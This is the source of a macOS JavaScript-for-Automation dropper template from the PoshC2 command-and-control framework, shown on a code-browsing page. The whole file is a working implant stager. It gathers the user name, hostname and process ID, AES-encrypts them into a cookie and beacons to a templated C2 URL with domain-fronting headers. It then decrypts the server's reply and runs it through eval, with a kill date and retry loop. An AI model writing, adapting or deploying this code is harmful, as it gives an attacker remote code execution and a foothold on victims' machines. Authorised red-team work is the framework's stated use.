Codebase list poshc2 / 39f6cef resources / payload-templates / dropper_jxa.js
39f6cef

Tree @39f6cef (Download .tar.gz)

dropper_jxa.js @39f6cefraw · history · blame

ObjC.import('Cocoa');
ObjC.import('Foundation');
ObjC.import('stdlib');
ObjC.import('Security');
ObjC.bindFunction('CFMakeCollectable', ['id', ['void *'] ]);
var currentApp = Application.currentApplication();
currentApp.includeStandardAdditions = true;

// Global Vars:
//#REPLACEINSECURE#
var df = [#REPLACEDOMAINFRONT#];
var h = "";
var sc = "";
var urls = [#REPLACEIMPTYPE#];
var curl = "#REPLACECONNECTURL#";
var s = urls[0]

// Implant Information (Used to show what user, hostname, IP, etc)
class agent{
	constructor(){
		this.procInfo = $.NSProcessInfo.processInfo;
		this.hostInfo = $.NSHost.currentHost;
		this.cu = ObjC.deepUnwrap(this.procInfo.userName);
		this.pid = this.procInfo.processIdentifier;
		this.host = ObjC.deepUnwrap(this.hostInfo.names)[0];
		}
}
var posh_implant = new agent();


function enc(data){
    // takes in the string we're about to send, encrypts it, and returns a new string
    let err = Ref();
    let encrypt = $.SecEncryptTransformCreate(cryptokey,err);
    let b = $.SecTransformSetAttribute(encrypt, $("SecPaddingKey"), $("SecPaddingPKCS7Key"), err);
    b= $.SecTransformSetAttribute(encrypt, $("SecEncryptionMode"), $("SecModeCBCKey"), err);
    //generate a random IV to use
    let IV = $.NSMutableData.dataWithLength(16);
    $.SecRandomCopyBytes($.kSecRandomDefault, 16, IV.bytes);
    b = $.SecTransformSetAttribute(encrypt, $("SecIVKey"), IV, err);
    //$.CFShow(IV);
    // set our data to be encrypted
    let nsdata = $(data).dataUsingEncoding($.NSUTF8StringEncoding);
    b=$.SecTransformSetAttribute(encrypt, $.kSecTransformInputAttributeName, nsdata, err);
    let encryptedData = $.SecTransformExecute(encrypt, err);
    //$.CFShow(encryptedData);
    // now we need to prepend the IV to the encrypted data before we base64 encode and return it
    let length = encryptedData.length;
    let remainder = length % 16;
    if ( remainder != 0 ) {
      for (i=0; i < (16 - remainder); i++) {
          encryptedData.push("\x00");
        }
    }
    length = encryptedData.length;
    let final_message = $.NSMutableData.dataWithLength(0);
    final_message.appendData(IV);
    final_message.appendData(encryptedData);
    //console.log(final_message.base64EncodedStringWithOptions(0).js);
    return final_message.base64EncodedStringWithOptions(0).js;
}

function dec(nsdata){
    //takes in a base64 encoded string to be decrypted and returned
    let err = Ref();
    let decrypt = $.SecDecryptTransformCreate(cryptokey, err);
    $.SecTransformSetAttribute(decrypt, $("SecPaddingKey"), $("SecPaddingPKCS7Key"), err);
    $.SecTransformSetAttribute(decrypt, $("SecEncryptionMode"), $("SecModeCBCKey"), err);
    // The first 16 bytes are the IV and the rest is the message to decrypt
    let iv_range = $.NSMakeRange(0, 16);
    let message_range = $.NSMakeRange(16, nsdata.length - 16);
    let iv = nsdata.subdataWithRange(iv_range);
    //$.CFShow(iv);
    $.SecTransformSetAttribute(decrypt, $("SecIVKey"), iv, err);
    let message = nsdata.subdataWithRange(message_range);
    //$.CFShow(message);
    $.SecTransformSetAttribute(decrypt, $("INPUT"), message, err);
    let decryptedData = $.SecTransformExecute(decrypt, Ref());
    let decrypted_message = $.NSString.alloc.initWithDataEncoding(decryptedData, $.NSUTF8StringEncoding);
    return decrypted_message;
}

function decode(data) {
    // base64 decoding
	if(typeof data == "string"){
			var ns_data = $.NSData.alloc.initWithBase64Encoding($(data));
	}
	else{
			var ns_data = data;
	}
	var decoded_data = $.NSString.alloc.initWithDataEncoding(ns_data, $.NSUTF8StringEncoding).js;
	return decoded_data;
}

function encode(data) {
    //base64 encoding
	if(typeof data == "string"){
			var ns_data = convert_to_nsdata(data);
	}
	else{
			var ns_data = data;
	}
	var encstring = ns_data.base64EncodedStringWithOptions(0).js;
	return encstring;
}

convert_to_nsdata = function(strData){
    // helper function to convert UTF8 strings to NSData objects
    var tmpString = $.NSString.alloc.initWithCStringEncoding(strData, $.NSData.NSUnicodeStringEncoding);
    return tmpString.dataUsingEncoding($.NSData.NSUTF16StringEncoding);
};

function primers() {
    for (url of urls) {
        //console.log(url);
        try {
            primern(url);
        } catch(error) {
            console.log(error);
        }
    }
}

function primern(url) {
    s = url + curl;
    sc = url;
    h = df;
    let el = "";
    // if user is root, mark with a *
    if (posh_implant.cu === "root") {
        el = "*";
    } else {
        el = "";
    }
    let o = posh_implant.cu + el + ';' + posh_implant.host + ';' + posh_implant.pid + ';#REPLACEURLID#';
    // Encrypt o and set as cookie
    let cookie = enc(o);
    primern = get_webclient(cookie);
    //let p = $.CFShow(primern);
    let p = $.NSData.alloc.initWithBase64Encoding(primern);
    var ns_data = convert_to_nsdata(p);
    if(typeof p == "string"){
            var ns_data = convert_to_nsdata(p);
    }
    else{
            var ns_data = p;
    }
    try {
        // decrypt response
        p = dec(ns_data);
        //decode decrypted data
        p = decode(p.js);
        //console.log(p);
        // if *key* in response, then run eval 
        if ( p.includes("key") ) {
            ObjC.deepUnwrap(eval(p));
        }
    }
    catch {}
}

function get_webclient(cookie) {
    // get current date and time
    let month = ("0" + (currentApp.currentDate().getMonth() + 1)).slice(-2);
    let day = ("0" + currentApp.currentDate().getDate()).slice(-2);
    let year = currentApp.currentDate().getFullYear();
    let d = year + "-" + month + "-" + day;
    //kill date.
    let k = "#REPLACEKILLDATE#";
    if (k < d) {
        $.exit(0);
    }
    // proxy information from config (Do i need proxy information on a mac?)
    let username = "#REPLACEPROXYUSER#"; //Set from config
    let password = "#REPLACEPROXYPASS#"; //set from config
    let proxyurl = "#REPLACEPROXYURL#"; //set from config
    // Setup web request
    let req = $.NSMutableURLRequest.alloc.initWithURL($.NSURL.URLWithString(s));
    // Cookies
    req.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String("SessionID="+cookie), $.NSString.alloc.initWithUTF8String("Cookie"));
    // Other Headers
    req.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String("#REPLACEREFERER#"), $.NSString.alloc.initWithUTF8String("Referer"));
    if (h != ""){
        req.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String(h), $.NSString.alloc.initWithUTF8String("Host"));
    }
    req.setValueForHTTPHeaderField($.NSString.alloc.initWithUTF8String("#REPLACEUSERAGENT#"), $.NSString.alloc.initWithUTF8String("User-Agent"));
    // Initial Request is a GET
    req.setHTTPMethod($.NSString.alloc.initWithUTF8String("GET"));
    //$.CFShow(req.allHTTPHeaderFields);
    let response = Ref();
    let error = Ref();
    let responseData = $.NSURLConnection.sendSynchronousRequestReturningResponseError(req,response,error);
    //$.CFShow(responseData);
    return responseData;
}

var aes_psk = "#REPLACEKEY#"; //get from payload generation
var parameters = $({"type": $.kSecAttrKeyTypeAES});
var raw_key = $.NSData.alloc.initWithBase64Encoding(aes_psk);
var cryptokey = $.SecKeyCreateFromData(parameters, raw_key, Ref());

let limit = #REPLACESTAGERRETRIESLIMIT#;
while (true) {
    let wait = #REPLACESTAGERRETRIESWAIT#; // used to try 30 times, starting with a 5 second wait, doubling each time until dying.
    if (limit > 0) {
        limit = limit - 1;
        primers();
        $.NSThread.sleepForTimeInterval(wait);
        wait = wait * 2;
    } else {
        primers();
    }
}